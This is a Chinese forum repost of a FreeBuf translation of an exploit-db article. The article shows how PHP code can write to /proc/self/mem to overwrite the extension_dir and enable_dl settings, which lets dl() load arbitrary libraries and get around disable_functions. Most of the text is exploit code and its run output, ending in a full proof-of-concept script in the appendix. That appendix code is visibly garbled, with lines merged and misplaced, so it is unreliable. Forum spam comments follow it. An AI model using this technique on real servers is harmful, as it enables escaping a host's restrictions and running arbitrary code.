gnwang666

　　0 01 概述

　　在https://rdot.org网站上面，有一篇俄语文章专门介绍了如何使用fopen/fread/fwrite函数来操纵内存文件/proc/self/mem。利用这种方法，人们就可以用system()函数的地址来替换GOT中open()函数的地址，这样的话，攻击者就可以通过readfile()函数来随心所欲地执行任意os命令了。
　　但是，这是需要一些前提条件的：
PHP 必须运行于PHP-CGI/PHP-FPM/CLI模式下。
POC只能运行于X86平台。
内核版本必须大于2.98。
open_basedir = off。
　　同时，它还会带来一些问题：
PHP的worker将会崩溃，因为GOT会被修改。
系统会变得不太稳定。
　　Good，不过这需要修改全局配置来打开“上帝模式”，即启用dl()并将extension_dir设为/tmp目录。
　　0 02 测试环境
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -v
PHP 5.5.9-1ubuntu4.9 (cli) (built: Apr 17 2015 11:44:57) Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies ylbhz@ylbhz-Aspire-5750G:/tmp$ uname -a
Linux ylbhz-Aspire-5750G 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
　　0 03 为什么使用dl()函数？
　　这个php函数看起来于dlopen()有几分相似，可以方便地加载我们想要的其他代码。当然，我们无法使用intset()函数把enabledl设为true，以及把extension_dir设为其属下的目录。不过别急，我们要一步一步来。
　　0 04 相关内核变量结构
　　zendexecutor_globals的结构如下所示：
struct _zend_executor_globals { zval **return_value_ptr_ptr;
zval uninitialized_zval;
zval *uninitialized_zval_ptr;
zval error_zval;
zval *error_zval_ptr;
zend_ptr_stack arg_types_stack;
/\* symbol table cache *\/
HashTable *symtable_cache[SYMTABLE_CACHE_SIZE]; HashTable **symtable_cache_limit;
HashTable **symtable_cache_ptr;
zend_op **opline_ptr;
HashTable *active_symbol_table;
HashTable symbol_table; /\* main symbol table *\/
HashTable included_files; /\* files already included *\/
JMP_BUF *bailout;
int error_reporting; //value of error_reporting
int orig_error_reporting; int exit_status;
zend_op_array *active_op_array;
HashTable *function_table; /\* function symbol table *\/ HashTable *class_table; /\* class table *\/ HashTable*zend_constants; /\*constantstable*\/
zend_class_entry *scope;zend_class_entry *called_scope; /\* Scope of the calling class *\/ zval *This;
long precision;
int ticks_count; //10*8
zend_bool in_execution; //typedef unsigned char zend_bool; HashTable *in_autoload;
zend_function *autoload_func;
zend_bool full_tables_cleanup;
/\* for extended information support *\/ zend_bool no_extensions;
#ifdef ZEND_WIN32
zend_bool timed_out;
OSVERSIONINFOEX windows_version_info;
#endif
HashTable regular_list; HashTable persistent_list;
zend_vm_stack argument_stack;
int user_error_handler_error_reporting;
zval *user_error_handler;
zval *user_exception_handler;
zend_stack user_error_handlers_error_reporting; zend_ptr_stack user_error_handlers; zend_ptr_stack user_exception_handlers;
zend_error_handling_t error_handling; zend_class_entry *exception_class;
/\* timeout support *\/
int timeout_seconds; //value of set_time_limit
int lambda_count;
HashTable *ini_directives; //configuration comes from php.ini
HashTable *modified_ini_directives; zend_ini_entry *error_reporting_ini_entry;
zend_objects_store objects_store; zval *exception, *prev_exception; zend_op *opline_before_exception; zend_op exception_op[3];
struct _zend_execute_data *current_execute_data; struct _zend_module_entry *current_module; zend_property_info std_property_info;
zend_bool active;
zend_op *start_op;
void *saved_fpu_cw_ptr; #if XPFPA_HAVE_CW
XPFPA_CW_DATATYPE saved_fpu_cw; #endif
void *reserved[ZEND_MAX_RESERVED_RESOURCES]; };
　　请注意其中名为ini_directives的成员，其数据结构如下所示：
ypedef struct _hashtable { uint nTableSize;
uint nTableMask;
uint nNumOfElements;
ulong nNextFreeElement;
Bucket *pInternalPointer;
Bucket *pListHead;
Bucket *pListTail;
Bucket **arBuckets; //Item array dtor_func_t pDestructor; //pointer zend_bool persistent;
unsigned char nApplyCount; zend_bool bApplyProtection;
#if ZEND_DEBUG int inconsistent;
#endif
} HashTable;
　　所有的Bucket数据结构如下所示：
typedef struct bucket {
ulong h;
uint nKeyLength;
void *pData; //value of item void *pDataPtr;
struct bucket *pListNext; struct bucket *pListLast; struct bucket *pNext;
struct bucket *pLast;
const char *arKey;
} Bucket;
　　实际上，pData是指向_zend_ini_entry结构体的一个指针，该结构的定义如下所示。
struct _zend_ini_entry {
int module_number;
int modifiable; //whether it can be modified char *name; //name of option
uint name_length; //length of option name ZEND_INI_MH((*on_modify));
void *mh_arg1;
void *mh_arg2;
void *mh_arg3;
char *value; //value of option
(.... etc ...)
}
　　上面是一些非常重要的结构成员，其中modifiable用来决定选项是否允许通过iniset()函数进行修改，它用于BOOL型选项。接下来，我们会用它来启用enabledl选项。 只要搜索内存，我们就能轻松找到“enabledl”和“extensiondir”。
　　0 05 搜索相应选项
　　首先，我们要决定到哪里去搜索。
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -r "echo file_get_contents('/proc/self/maps');"
00400000-00bf3000 r-xp 00000000 /usr/bin/php5
00df3000-00e94000 r--p 007f3000 08:01 4997702 00e94000-00ea1000 rw-p 00894000 /usr/bin/php5
00ea1000-00ebe000 rw-p 00000000 00:00 0
0278f000-02a65000 rw-p 00000000 00:00 0 ...etc...
　　当然，你可以使用php代码来搜索内存映射（memory maps）镜像。
　　现在，我们利用set_time_limit和error_reporting在内存中建立一个标志
error_reporting(0x66778899);  
set_time_limit(0x41424344);
　　下面，我们使用fopen()函数（这里必须使用rb选项）来打开/proc/self/mem，并将文件读写指针移动到我们要搜索的内存空间的起始位置。然后，我们在内存中搜索0 66778899。
$mem = fopen("/proc/self/mem", "rb"); fseek($mem, 0x00ea1000);
for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4) {
$num = unp(fread($mem, 4));
if($num == 0x66778899) //set by error_reporting()
{
$offset = 0x00ea1000 + $i;
printf("got noe, offset is:0x%x\r\n", $offset);
　　我们可以使用error_reporting()输出相应的信息，来确认地址是否为我们想要的那个地址。
printf("Now set error_reporting to 0x55667788 and reread the value\r\n");  
error_reporting(0x55667788);
fseek($mem, $offset);
$num = unp(fread($mem, 4));
printf("The value is %x\r\n", $num);  
if($num == 0x55667788){printf("I found the offset of executor_globals's member error_reporting\r\n");
...etc...
　　接下来，以同样的方法搜索成员timeout_seconds。
　　fseek($mem, $offset);
　　fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
　　$timeout = dump_value($mem, 4);
　　if($timeout == 0x41424344) //set by set_time_limit(){
..etc...
　　现在，我们已经确认了_zend_executor_globals结构的地址，那么找到ini_directives成员和Bucket **arBuckets也就很简单了。
printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout); dump_value($mem, 4);
$ini_dir = dump_value($mem, 8);
printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir); fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets; $arBucket = dump_value($mem, 8);
printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket); fseek($mem, $arBucket);
　　根据Bucket **arBuckets，我们就可以遍历所有选项，直到找到我们想要的那些为止。
for($i = 0;$i < 1000;$i ++) {
$name, $name_t);
...etc...
$bucket = dump_value($mem, 8);
//printf("This bucket address maybe in 0x%016x\r\n", $bucket); fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket $pdata = dump_value($mem, 8);
dump_value($mem, 8);
//printf("This pData address maybe in 0x%016x\r\n", $pdata);
fseek($mem, $pdata + 8); //seek to char* name;
$name = dump_value($mem, 8);
$name_t = dump_value($mem, 4);
//printf("This char name* address maybe in 0x%016x, length:%d\r\n",
fseek($mem, $name);
$strname = fread($mem, $name_t); if(strlen($strname) == 0) break;
//printf("ini key:%s\r\n", $strname); if(strncmp($strname, 'extension_dir', 13) == 0) {
fseek($mem, $pdata + 56); //seek to char* value;
$value = dump_value($mem, 8);
$value_t = dump_value($mem, 4);
printf("This char value* address maybe in 0x%016x,
length:%d\r\n", $value, $value_t);  
...etc...
　　将extension_dir修改为/tmp，如下所示：
$mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $value);
fwrite($mem_w, "/tmp\0", 5); //write /tmp value printf("retry to get extension_dir value!!!!\r\n"); var_dump(ini_get('extension_dir'));
　　修改enable_dl选项的modifiable成员，如下所示：
$modifiable = dump_value($mem, 4);
printf("org modifiable value is %x\r\n", $modifiable); $mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $pdata + 4); //seek to modifiable fwrite($mem_w, packli(7));
/* modifiable is a bit field
#define ZEND_INI_USER (1<0) #define ZEND_INI_PERDIR (1<1) #define ZEND_INI_SYSTEM (1<2) */
...etc......etc...
printf("try ini_set enable_dl agen!!!!\r\n");
ini_set('enable_dl', true);
　　最后，调用dl()函数。
dl('not_exists');
　　0 06 最终结果
ylbhz@ylbhz-Aspire-5750G:/tmp$ php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the extension_dir offset!
try to set extension_dir value /tmp by ini_set
try to get extension_dir value by ini_get
string(22) "/usr/lib/php5/20121212"
This char value* address maybe in 0x0000000000b5ea53, length:22
retry to get extension_dir value!!!!
string(4) "/tmp"
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the enable_dl offset!
try to set enable_dl value true by ini_set
try to get enable_dl value by ini_get
string(0) ""
try to run dl() function
PHP Warning: dl(): Dynamically /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 326 try to modifiy the modifiable member in memory!
org modifiable value is 4
now modifiable value is 7
try ini_set enable_dl agen!!!!
now enable_dl seting is
string(1) "1"
retry the dl() function!!!!
PHP Warning: dl(): Unable to load dynamic library '/tmp/not_exists' - /tmp/not_exists: cannot open shared object file: No such file or directory
　　最后，php代码会尝试加载动态库，并且如愿以偿。 本文附录部分给了完整的代码。
　　由于编写动态库已经超出了本文的范围，所以很抱歉，这里并没有给出相关介绍。
　　0 07 参考文献
https://rdot.org/forum/showthread.php?t=3309
http://www.blackhat.com/presentations/bh-usa-09/ESSER/BHUSA09-Esser-PostExploitatio nPHP-SLIDES.pdf
　　0 08 附录
　　下面是完整的PHP代码：
<?php error_reporting(0x66778899); set_time_limit(0x41424344); define('ZEND_INI_USER', (1<<0)); define('ZEND_INI_PERDIR', (1<<1)); define('ZEND_INI_SYSTEM', (1<<2));
$mem = fopen("/proc/self/mem", "rb");
//set the extension_dir
fseek($mem, 0x00ea1000);
for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4) {
//echo 'x';
$num = unp(fread($mem, 4)); if($num == 0x66778899){
$offset = 0x00ea1000 + $i;
printf("got noe, offset is:0x%x\r\n", $offset);
printf("Now set error_reporting to 0x55667788 and reread the value\r\n"); error_reporting(0x55667788);
fseek($mem, $offset);
$num = unp(fread($mem, 4));
printf("The value is %x\r\n", $num);
if($num == 0x55667788)
{
printf("I found the offset of executor_globals's member error_reporting\r\n");
printf("read the structure\r\n");
fseek($mem, $offset);
fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member $timeout = dump_value($mem, 4);
if($timeout == 0x41424344)
{
error_reporting(E_ALL); //restore the error reporting
printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout); dump_value($mem, 4);
$ini_dir = dump_value($mem, 8);
printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir); fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
$arBucket = dump_value($mem, 8);
printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket); fseek($mem, $arBucket);
//try to get the first Bucket address
for($i = 0;$i < 1000;$i ++)
{
$bucket = dump_value($mem, 8);
//printf("This bucket address maybe in 0x%016x\r\n", $bucket); fseek($mem, $bucket + 16); //seek to const void *pData; in struct
Bucket
$pdata = dump_value($mem, 8);
dump_value($mem, 8);
//printf("This pData address maybe in 0x%016x\r\n", $pdata);
fseek($mem, $pdata + 8); //seek to char* name; $name = dump_value($mem, 8);
$name_t = dump_value($mem, 4);
//printf("This char name* address maybe in 0x%016x,
length:%d\r\n", $name, $name_t); fseek($mem, $name);
$strname = fread($mem, $name_t); if(strlen($strname) == 0) break;
//printf("ini key:%s\r\n", $strname); if(strncmp($strname, 'extension_dir', 13) == 0) {
printf("I found the extension_dir offset!\r\n");
printf("try to set extension_dir value /tmp by ini_set\r\n"); ini_set('extension_dir', '/tmp');
printf("try to get extension_dir value by ini_get\r\n"); var_dump(ini_get('extension_dir'));
// write string value
fseek($mem, $pdata + 56); //seek to char* value; $value = dump_value($mem, 8);
$value_t = dump_value($mem, 4);
printf("This char value* address maybe in 0x%016x,
length:%d\r\n", $value, $value_t);
// write data part
$mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $value);
fwrite($mem_w, "/tmp\0", 5); //write /tmp value printf("retry to get extension_dir value!!!!\r\n"); var_dump(ini_get('extension_dir'));
error_reporting(0x66778899);
break; }
//seek to struct bucket *pListNext; ready to read next bucket's
address
strage!
}
}
} else {
error_reporting(0x66778899); }
} }
//set the enable_dl
fseek($mem, 0x00ea1000);
for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4) {
$num = unp(fread($mem, 4)); if($num == 0x66778899)
{
$offset = 0x00ea1000 + $i;
printf("got noe, offset is:0x%x\r\n", $offset);
fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;
it's so
printf("now here, restore the value\r\n");
Bucket
printf("Now set error_reporting to 0x55667788 and reread the value\r\n"); error_reporting(0x55667788);
fseek($mem, $offset);
$num = unp(fread($mem, 4));
printf("The value is %x\r\n", $num); if($num == 0x55667788)
{
printf("I found the offset of executor_globals's member error_reporting\r\n");
printf("read the structure\r\n");
fseek($mem, $offset);
fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member $timeout = dump_value($mem, 4);
if($timeout == 0x41424344)
{
error_reporting(E_ALL); //restore the error reporting
printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout); dump_value($mem, 4);
$ini_dir = dump_value($mem, 8);
printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir); fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
$arBucket = dump_value($mem, 8);
printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket); fseek($mem, $arBucket);
//try to get the first Bucket address
for($i = 0;$i < 1000;$i ++)
{
$bucket = dump_value($mem, 8);
//printf("This bucket address maybe in 0x%016x\r\n", $bucket); fseek($mem, $bucket + 16); //seek to const void *pData; in struct
$pdata = dump_value($mem, 8); dump_value($mem, 8);
//printf("This pData address maybe in 0x%016x\r\n", $pdata);
fseek($mem, $pdata + 8); //seek to char* name; $name = dump_value($mem, 8);
$name_t = dump_value($mem, 4);
//printf("This char name* address maybe in 0x%016x,
length:%d\r\n", $name, $name_t); fseek($mem, $name);
$strname = fread($mem, $name_t); if(strlen($strname) == 0) break; //printf("ini key:%s\r\n", $strname); if(strncmp($strname, 'enable_dl', 9) == 0) {
printf("I found the enable_dl offset!\r\n");
printf("try to set enable_dl value true by ini_set\r\n"); ini_set('enable_dl', true);
printf("try to get enable_dl value by ini_get\r\n"); var_dump(ini_get('enable_dl'));
printf("try to run dl() function\r\n"); dl('not_exists');
printf("try to modifiy the modifiable member in memory!\r\n"); fseek($mem, $pdata + 4);
$modifiable = dump_value($mem, 4);
printf("org modifiable value is %x\r\n", $modifiable);
$mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $pdata + 4); //seek to modifiable fwrite($mem_w, packli(7));
//check
fseek($mem, $pdata + 4);
$modifiable = dump_value($mem, 4);
printf("now modifiable value is %x\r\n", $modifiable);
address
strage!
}
}
} else {
error_reporting(0x66778899); }
} }
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function dump_value($dh, $flag) {
switch($flag) {
printf("try ini_set enable_dl agen!!!!\r\n"); ini_set('enable_dl', true);
printf("now enable_dl seting is\r\n"); var_dump(ini_get('enable_dl')); printf("retry the dl() function!!!!\r\n"); ini_set('extension_dir', '/tmp'); dl('not_exists');
exit(0); }
//seek to struct bucket *pListNext; ready to read next bucket's
fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;
it's so
printf("now here, restore the value\r\n");
case 4: return unp(fread($dh, 4));
case 8: return unp(fread($dh, 8)); }
}
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function packli($value) {
return pack('V', $value); }
?>
　　FB温馨提示：在Post原文PDF代码到FreeBuf的时候，代码出现了一些改变，建议有强迫症或者有代码洁癖的看官阅读原文PDF :）  

　　*参考来源：exploit-db，编译/I12016，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM)

东城光头仔

太漂亮的源码了，非常感谢魔扣源码论坛

uwvpnl

垃圾内容，路过为证。

跑酷

有空一起交流一下

feelair8250

我是个凑数的。。。

ggfvvpm

魔扣源码论坛网络版块就像是监狱，本来是偷了个钱包进来的，等出去的时候就什么都学会了。